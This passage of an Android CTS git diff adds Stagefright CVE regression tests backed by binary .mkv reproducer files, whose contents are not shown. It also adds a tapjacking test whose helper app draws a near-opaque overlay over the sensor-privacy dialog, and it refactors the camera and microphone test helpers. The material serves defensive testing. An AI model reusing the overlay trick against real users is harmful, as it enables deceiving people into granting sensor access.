<< first_api_level; // This feature name check only applies to devices that first shipped with @@ -249,6 +252,15 @@ TEST(FileBasedEncryptionPolicyTest, allowedPolicy) { << "Exempt from file-based encryption due to old starting API level"; return; } + if (strcmp(crypto_type, "managed") == 0) { + // Android is running in a virtualized environment and the file system is encrypted + // by the host system. + GTEST_LOG_(INFO) << "Exempt from file-based encryption because the file system is " + << "encrypted by the host system"; + // Note: All encryption-related CDD requirements still must be met, + // but they can't be tested directly in this case. + return; + } FAIL() << "Device isn't using file-based encryption"; } else { FAIL() << "Failed to get encryption policy of " DIR_TO_CHECK ": " << strerror(errno); diff --git a/tests/tests/security/res/raw/cve_2020_11299.mkv b/tests/tests/security/res/raw/cve_2020_11299.mkv Binary files differnew file mode 100644 index 00000000000..f2ff416cf5f --- /dev/null +++ b/tests/tests/security/res/raw/cve_2020_11299.mkv diff --git a/tests/tests/security/res/raw/cve_2021_1910.mkv b/tests/tests/security/res/raw/cve_2021_1910.mkv Binary files differnew file mode 100644 index 00000000000..860d3513508 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2021_1910.mkv diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index 6d1b25f8704..de8a5efff38 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -1770,6 +1770,18 @@ public class StagefrightTest { ***********************************************************/ @Test + @AsbSecurityTest(cveBugId = 179039901) + public void testStagefright_cve_2021_1910() throws Exception { + doStagefrightTest(R.raw.cve_2021_1910); + } + + @Test + @AsbSecurityTest(cveBugId = 175038625) + public void testStagefright_cve_2020_11299() throws Exception { + doStagefrightTest(R.raw.cve_2020_11299); + } + + @Test @AsbSecurityTest(cveBugId = 162756960) public void testStagefright_cve_2020_11196() throws Exception { doStagefrightTest(R.raw.cve_2020_11196); diff --git a/tests/tests/sensorprivacy/Android.bp b/tests/tests/sensorprivacy/Android.bp index 63ac3dc03ee..608f44504b9 100644 --- a/tests/tests/sensorprivacy/Android.bp +++ b/tests/tests/sensorprivacy/Android.bp @@ -26,6 +26,7 @@ android_test { test_suites: [ "cts", "general-tests", + "sts", ], compile_multilib: "both", static_libs: [ diff --git a/tests/tests/sensorprivacy/AndroidTest.xml b/tests/tests/sensorprivacy/AndroidTest.xml index 412b1ee0f5f..9c36e182194 100644 --- a/tests/tests/sensorprivacy/AndroidTest.xml +++ b/tests/tests/sensorprivacy/AndroidTest.xml @@ -25,6 +25,7 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsSensorPrivacyTestCases.apk" /> <option name="test-file-name" value="CtsUseMicOrCameraForSensorPrivacy.apk" /> + <option name="test-file-name" value="CtsUseMicOrCameraAndOverlayForSensorPrivacy.apk" /> </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt index d5035fab288..2607eab072e 100644 --- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt +++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt @@ -16,17 +16,17 @@ package android.sensorprivacy.cts -import android.app.KeyguardManager import android.app.AppOpsManager +import android.app.KeyguardManager import android.content.Intent import android.content.pm.PackageManager import android.hardware.SensorPrivacyManager import android.hardware.SensorPrivacyManager.OnSensorPrivacyChangedListener -import android.os.PowerManager -import android.platform.test.annotations.AppModeFull import android.hardware.SensorPrivacyManager.Sensors.CAMERA import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE import android.hardware.SensorPrivacyManager.Sources.OTHER +import android.os.PowerManager +import android.platform.test.annotations.AppModeFull import android.support.test.uiautomator.By import android.view.KeyEvent import androidx.test.platform.app.InstrumentationRegistry @@ -57,6 +57,8 @@ abstract class SensorPrivacyBaseTest( companion object { const val MIC_CAM_ACTIVITY_ACTION = "android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM" + const val MIC_CAM_OVERLAY_ACTIVITY_ACTION = + "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM" const val FINISH_MIC_CAM_ACTIVITY_ACTION = "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM" const val USE_MIC_EXTRA = @@ -67,6 +69,8 @@ abstract class SensorPrivacyBaseTest( "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY" const val DELAYED_ACTIVITY_NEW_TASK_EXTRA = "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK" + const val RETRY_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA" const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera" const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4" const val ACTIVITY_TITLE_SNIP = "CtsUseMic" @@ -84,7 +88,7 @@ abstract class SensorPrivacyBaseTest( var oldState: Boolean = false @Before - fun init() { + open fun init() { oldState = isSensorPrivacyEnabled() setSensor(false) Assume.assumeTrue(spm.supportsSensorToggle(sensor)) @@ -208,8 +212,12 @@ abstract class SensorPrivacyBaseTest( } fun unblockSensorWithDialogAndAssert() { - UiAutomatorUtils.waitFindObject(By.text( - Pattern.compile("Unblock", Pattern.CASE_INSENSITIVE))).click() + val buttonResId = if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) { + "com.android.systemui:id/bottom_sheet_positive_button" + } else { + "android:id/button1" + } + UiAutomatorUtils.waitFindObject(By.res(buttonResId)).click() eventually { assertFalse(isSensorPrivacyEnabled()) } @@ -237,7 +245,9 @@ abstract class SensorPrivacyBaseTest( @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() { setSensor(true) - startTestApp() + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + startTestApp(true) UiAutomatorUtils.waitFindObject(By.text( Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click() assertOpRunning(false) @@ -251,7 +261,9 @@ abstract class SensorPrivacyBaseTest( @AppModeFull(reason = "Uses secondary app, instant apps have no visibility") fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() { setSensor(true) - startTestApp() + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + startTestApp(true) UiAutomatorUtils.waitFindObject(By.text( Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click() val before = System.currentTimeMillis() @@ -317,13 +329,39 @@ abstract class SensorPrivacyBaseTest( assertOpRunning(false) } + @Test + fun testTapjacking() { + setSensor(true) + startTestOverlayApp(false) + val view = UiAutomatorUtils.waitFindObjectOrNull(By.text("This Should Be Hidden"), 10_000) + assertNull("Overlay should not have shown.", view) + } + private fun startTestApp() { + startTestApp(false) + } + + private fun startTestApp(retryCameraOnError: Boolean) { val intent = Intent(MIC_CAM_ACTIVITY_ACTION) .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) for (extra in extras) { intent.putExtra(extra, true) } + intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError) + context.startActivity(intent) + // Wait for app to open + UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP)) + } + + private fun startTestOverlayApp(retryCameraOnError: Boolean) { + val intent = Intent(MIC_CAM_OVERLAY_ACTIVITY_ACTION) + .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) + for (extra in extras) { + intent.putExtra(extra, true) + } + intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError) context.startActivity(intent) // Wait for app to open UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP)) diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt index 17a5d52af74..6e77422427d 100644 --- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt +++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt @@ -17,5 +17,14 @@ package android.sensorprivacy.cts import android.hardware.SensorPrivacyManager.Sensors.CAMERA +import android.hardware.camera2.CameraManager +import org.junit.Assume -class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA) +class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA) { + + override fun init() { + val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!! + Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty()) + super.init() + } +} diff --git a/hostsidetests/edi/app/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp index 96f28704e87..551a78da683 100644 --- a/hostsidetests/edi/app/Android.bp +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp @@ -1,38 +1,37 @@ -// Copyright (C) 2021 Google LLC. +// +// Copyright (C) 2021 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // -// http://www.apache.org/licenses/LICENSE-2.0 +// http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. +// package { default_applicable_licenses: ["Android-Apache-2.0"], } android_test_helper_app { - name: "CtsDeviceInfoTestApp", - srcs: ["src/**/*.java"], + name: "CtsUseMicOrCameraAndOverlayForSensorPrivacy", defaults: ["cts_defaults"], - min_sdk_version: "26", - target_sdk_version: "31", - static_libs: [ - "androidx.test.rules", - "androidx.test.core", - "modules-utils-build", - "guava", - ], + sdk_version: "test_current", + + // Tag this module as a cts test artifact test_suites: [ - "ats", "cts", - "gts", "general-tests", ], + srcs: ["src/**/*.kt"], + + static_libs: [ + "SensorPrivacyTestAppUtils", + ], } diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml new file mode 100644 index 00000000000..6ac01c7fa4d --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml @@ -0,0 +1,43 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.sensorprivacy.cts.usemiccamera.overlay" + android:versionCode="1" + android:targetSandboxVersion="2"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <uses-permission android:name="android.permission.RECORD_AUDIO"/> + <uses-permission android:name="android.permission.CAMERA"/> + + <uses-feature android:name="android.hardware.camera" /> + <uses-feature android:name="android.hardware.microphone" /> + + <application android:label="CtsUseMicOrCameraForSensorPrivacy"> + <activity android:name=".UseMicCamera" + android:exported="true" + android:visibleToInstantApps="true"> + <intent-filter> + <action android:name="android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + <activity android:name=".OverlayActivity" + android:exported="false" /> + </application> +</manifest> diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt new file mode 100644 index 00000000000..5b6d930cf3c --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt @@ -0,0 +1,30 @@ +package android.sensorprivacy.cts.usemiccamera.overlay + +import android.app.Activity +import android.hardware.input.InputManager +import android.os.Bundle +import android.view.ViewGroup +import android.view.WindowManager.LayoutParams +import android.widget.FrameLayout +import android.widget.TextView + +class OverlayActivity : Activity() { + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + val params = LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT) + params.type = LayoutParams.TYPE_APPLICATION_OVERLAY + params.flags = LayoutParams.FLAG_LAYOUT_NO_LIMITS or + LayoutParams.FLAG_NOT_TOUCH_MODAL or + LayoutParams.FLAG_NOT_TOUCHABLE or + LayoutParams.FLAG_KEEP_SCREEN_ON + params.alpha = getSystemService(InputManager::class.java)!!.maximumObscuringOpacityForTouch + + val frameLayout = FrameLayout(this) + val textView = TextView(this) + textView.text = "This Should Be Hidden" + frameLayout.addView(textView) + windowManager.addView(frameLayout, params) + } +}
\ No newline at end of file diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt new file mode 100644 index 00000000000..127564e3de1 --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt @@ -0,0 +1,92 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.sensorprivacy.cts.usemiccamera.overlay + +import android.app.Activity +import android.app.AppOpsManager +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.content.IntentFilter +import android.os.Bundle +import android.os.Handler +import android.os.Process +import android.sensorprivacy.cts.testapp.utils.Cam +import android.sensorprivacy.cts.testapp.utils.Mic +import android.sensorprivacy.cts.testapp.utils.openCam +import android.sensorprivacy.cts.testapp.utils.openMic + +class UseMicCamera : Activity() { + private var mic: Mic? = null + private var cam: Cam? = null + private lateinit var appOpsManager: AppOpsManager + + companion object { + const val MIC_CAM_OVERLAY_ACTIVITY_ACTION = + "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM" + const val FINISH_MIC_CAM_ACTIVITY_ACTION = + "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM" + const val USE_MIC_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.USE_MICROPHONE" + const val USE_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.USE_CAMERA" + const val DELAYED_ACTIVITY_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY" + const val DELAYED_ACTIVITY_NEW_TASK_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK" + const val RETRY_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA" + } + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + + val handler = Handler(mainLooper) + appOpsManager = applicationContext.getSystemService(AppOpsManager::class.java)!! + + registerReceiver(object : BroadcastReceiver() { + override fun onReceive(context: Context?, intent: Intent?) { + unregisterReceiver(this) + mic?.close() + cam?.close() + appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA, + Process.myUid(), applicationContext.packageName) + finishAndRemoveTask() + Runtime.getRuntime().exit(0) + } + }, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION)) + + val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false) + val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false) + if (useMic) { + handler.postDelayed({ mic = openMic() }, 1000) + } + if (useCam) { + handler.postDelayed({ + cam = openCam(this, intent.getBooleanExtra(UseMicCamera.RETRY_CAM_EXTRA, false)) + }, 1000) + } + + handler.postDelayed({ + val intent = Intent(this, OverlayActivity::class.java) + if (intent.getBooleanExtra(DELAYED_ACTIVITY_NEW_TASK_EXTRA, false)) { + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + startActivity(intent) + }, 2000) + } +} diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp index 96fea3508a4..08ff0fcc363 100644 --- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp @@ -30,4 +30,8 @@ android_test_helper_app { "general-tests", ], srcs: ["src/**/*.kt"], + + static_libs: [ + "SensorPrivacyTestAppUtils", + ], } diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt index 7281cad3ab8..0e8be51bc7c 100644 --- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt +++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt @@ -22,31 +22,21 @@ import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import android.content.IntentFilter -import android.hardware.camera2.CameraCaptureSession -import android.hardware.camera2.CameraCharacteristics -import android.hardware.camera2.CameraDevice -import android.hardware.camera2.CameraManager -import android.hardware.camera2.params.OutputConfiguration -import android.hardware.camera2.params.SessionConfiguration -import android.media.AudioFormat -import android.media.AudioRecord -import android.media.ImageReader -import android.media.MediaRecorder import android.os.Bundle import android.os.Handler import android.os.Process -import android.util.Size - -private const val MIC = 1 shl 0 -private const val CAM = 1 shl 1 - -private const val SAMPLING_RATE = 8000 +import android.sensorprivacy.cts.testapp.utils.Cam +import android.sensorprivacy.cts.testapp.utils.Mic +import android.sensorprivacy.cts.testapp.utils.openCam +import android.sensorprivacy.cts.testapp.utils.openMic class UseMicCamera : Activity() { - private var audioRecord: AudioRecord? = null - private var cameraDevice: CameraDevice? = null + private var mic: Mic? = null + private var cam: Cam? = null private lateinit var appOpsManager: AppOpsManager + val activitiesToFinish = mutableSetOf<Activity>() + companion object { const val MIC_CAM_ACTIVITY_ACTION = "android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM" @@ -60,6 +50,8 @@ class UseMicCamera : Activity() { "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY" const val DELAYED_ACTIVITY_NEW_TASK_EXTRA = "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK" + const val RETRY_CAM_EXTRA = + "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA" } override fun onCreate(savedInstanceState: Bundle?) { @@ -71,10 +63,12 @@ class UseMicCamera : Activity() { registerReceiver(object : BroadcastReceiver() { override fun onReceive(context: Context?, intent: Intent?) { unregisterReceiver(this) - audioRecord?.stop() - cameraDevice?.close() + mic?.close() + cam?.close() appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA, Process.myUid(), applicationContext.packageName) + appOpsManager.finishOp(AppOpsManager.OPSTR_RECORD_AUDIO, + Process.myUid(), applicationContext.packageName) finishAndRemoveTask() } }, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION)) @@ -82,10 +76,12 @@ class UseMicCamera : Activity() { val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false) val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false) if (useMic) { - handler.postDelayed({ openMic() }, 1000) + handler.postDelayed({ mic = openMic() }, 1000) } if (useCam) { - handler.postDelayed({ openCam() }, 1000) + handler.postDelayed({ + cam = openCam(this, intent.getBooleanExtra(RETRY_CAM_EXTRA, false)) + }, 1000) } if (intent.getBooleanExtra(DELAYED_ACTIVITY_EXTRA, false)) { @@ -98,65 +94,4 @@ class UseMicCamera : Activity() { }, 2000) } } - - private fun openMic() { - audioRecord = AudioRecord.Builder() - .setAudioFormat(AudioFormat.Builder() - .setSampleRate(SAMPLING_RATE) - .setEncoding(AudioFormat.ENCODING_PCM_16BIT) - .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build()) - .setAudioSource(MediaRecorder.AudioSource.DEFAULT) - .setBufferSizeInBytes( - AudioRecord.getMinBufferSize(SAMPLING_RATE, - AudioFormat.CHANNEL_IN_MONO, - AudioFormat.ENCODING_PCM_16BIT) * 10) - .build() - - audioRecord?.startRecording() - } - - private fun openCam() { - val cameraManager = getSystemService(CameraManager::class.java)!! - - val cameraId = cameraManager!!.cameraIdList[0] - val config = cameraManager!!.getCameraCharacteristics(cameraId) - .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP) - val outputFormat = config!!.outputFormats[0] - val outputSize: Size = config!!.getOutputSizes(outputFormat)[0] - val handler = Handler(mainLooper) - - val cameraDeviceCallback = object : CameraDevice.StateCallback() { - override fun onOpened(cD: CameraDevice) { - val imageReader = ImageReader.newInstance( - outputSize.width, outputSize.height, outputFormat, 2) - - val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD) - builder.addTarget(imageReader.surface) - val captureRequest = builder.build() - val sessionConfiguration = SessionConfiguration( - SessionConfiguration.SESSION_REGULAR, - listOf(OutputConfiguration(imageReader.surface)), - mainExecutor, - object : CameraCaptureSession.StateCallback() { - override fun onConfigured(session: CameraCaptureSession) { - session.capture(captureRequest, null, handler) - appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA, - Process.myUid(), applicationContext.packageName) - } - - override fun onConfigureFailed(session: CameraCaptureSession) {} - }) - - cD.createCaptureSession(sessionConfiguration) - cameraDevice = cD - } - - override fun onDisconnected(cameraDevice: CameraDevice) { - } - override fun onError(cameraDevice: CameraDevice, i: Int) { - } - } - - cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback) - } -}
\ No newline at end of file +} diff --git a/tests/tests/sensorprivacy/test-apps/utils/Android.bp b/tests/tests/sensorprivacy/test-apps/utils/Android.bp new file mode 100644 index 00000000000..6901865d354 --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/utils/Android.bp @@ -0,0 +1,14 @@ +android_library { + name: "SensorPrivacyTestAppUtils", + + srcs: [ + "src/**/*.java", + "src/**/*.kt" + ], + + static_libs: [ + "androidx.annotation_annotation", + ], + + sdk_version: "test_current", +} diff --git a/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml new file mode 100644 index 00000000000..e7b1a922b4e --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml @@ -0,0 +1,20 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2020 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.sensorprivacy.cts.testapp.utils" /> + diff --git a/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt new file mode 100644 index 00000000000..786220058af --- /dev/null +++ b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt @@ -0,0 +1,156 @@ +package android.sensorprivacy.cts.testapp.utils + +import android.app.AppOpsManager +import android.content.Context +import android.hardware.camera2.CameraCaptureSession +import android.hardware.camera2.CameraCharacteristics +import android.hardware.camera2.CameraDevice +import android.hardware.camera2.CameraManager +import android.hardware.camera2.params.OutputConfiguration +import android.hardware.camera2.params.SessionConfiguration +import android.media.AudioFormat +import android.media.AudioRecord +import android.media.ImageReader +import android.media.MediaRecorder +import android.os.Handler +import android.os.HandlerThread +import android.os.Process +import android.util.Log +import android.util.Size +import java.util.concurrent.CompletableFuture +import java.util.concurrent.Executor + +private const val SAMPLING_RATE = 8000 + +private const val RETRY_TIMEOUT = 5000L +private const val TAG = "SensorPrivacyTestAppUtils" + +fun openMic(): Mic { + val audioRecord = AudioRecord.Builder() + .setAudioFormat(AudioFormat.Builder() + .setSampleRate(SAMPLING_RATE) + .setEncoding(AudioFormat.ENCODING_PCM_16BIT) + .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build()) + .setAudioSource(MediaRecorder.AudioSource.DEFAULT) + .setBufferSizeInBytes( + AudioRecord.getMinBufferSize(SAMPLING_RATE, + AudioFormat.CHANNEL_IN_MONO, + AudioFormat.ENCODING_PCM_16BIT) * 10) + .build() + + audioRecord?.startRecording() + + return Mic(audioRecord) +} + +fun openCam(context: Context): Cam { + return openCam(context, false) +} + +fun openCam(context: Context, retryCam: Boolean): Cam { + return openCam(context, retryCam, 0, 0) +} + +fun openCam( + context: Context, + retryCam: Boolean, + cameraOpenRetryCountRO: Int, + cameraMaxOpenRetryRO: Int +): Cam { + var cameraOpenRetryCount = cameraOpenRetryCountRO + var cameraMaxOpenRetry = cameraMaxOpenRetryRO + + val cameraManager = context.getSystemService(CameraManager::class.java)!! + val appOpsManager = context.getSystemService(AppOpsManager::class.java)!! + + val cameraId = cameraManager!!.cameraIdList[0] + val config = cameraManager!!.getCameraCharacteristics(cameraId) + .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP) + val outputFormat = config!!.outputFormats[0] + val outputSize: Size = config!!.getOutputSizes(outputFormat)[0] + val handlerThread = HandlerThread("CameraThread") + handlerThread.start() + val handler = Handler(handlerThread.looper) + val executor = Executor { + runnable -> + run { + handler.post(runnable) + } + } + + var cameraDevice: CompletableFuture<CameraDevice> = CompletableFuture() + + // Retry camera connection because external cameras are disconnected + // if sensor privacy is enabled (b/182204067) + val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId) + .get(CameraCharacteristics.LENS_FACING) + == CameraCharacteristics.LENS_FACING_EXTERNAL) + if (retryCam && isExternalCamera) { + cameraMaxOpenRetry = 1 + } + + val cameraDeviceCallback = object : CameraDevice.StateCallback() { + override fun onOpened(cD: CameraDevice) { + val imageReader = ImageReader.newInstance( + outputSize.width, outputSize.height, outputFormat, 2) + + val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD) + builder.addTarget(imageReader.surface) + val captureRequest = builder.build() + val sessionConfiguration = SessionConfiguration( + SessionConfiguration.SESSION_REGULAR, + listOf(OutputConfiguration(imageReader.surface)), + executor, + object : CameraCaptureSession.StateCallback() { + override fun onConfigured(session: CameraCaptureSession) { + session.capture(captureRequest, null, handler) + appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA, + Process.myUid(), context.opPackageName) + } + + override fun onConfigureFailed(session: CameraCaptureSession) {} + }) + + cD.createCaptureSession(sessionConfiguration) + cameraDevice.complete(cD) + cameraOpenRetryCount = 0 + } + + override fun onDisconnected(cD: CameraDevice) { + } + + override fun onError(cD: CameraDevice, i: Int) { + // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may + // be triggered if camera mute is not supported and sensor privacy is enabled + if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) { + cD.close() + cameraOpenRetryCount++ + cameraDevice.complete(cD) + handler.postDelayed({ + openCam(context, retryCam, cameraOpenRetryCount, cameraMaxOpenRetry) + }, RETRY_TIMEOUT) + } + } + } + + try { + cameraManager!!.openCamera(cameraId, executor, cameraDeviceCallback) + } catch (e: android.hardware.camera2.CameraAccessException) { + Log.e(TAG, "openCamera: " + e) + } + + return Cam(cameraDevice.join(), handlerThread) +} + +class Mic(val audioRecord: AudioRecord) { + fun close() { + audioRecord.stop() + } +} + +class Cam(val cameraDevice: CameraDevice?, val thread: Thread) { + fun close() { + 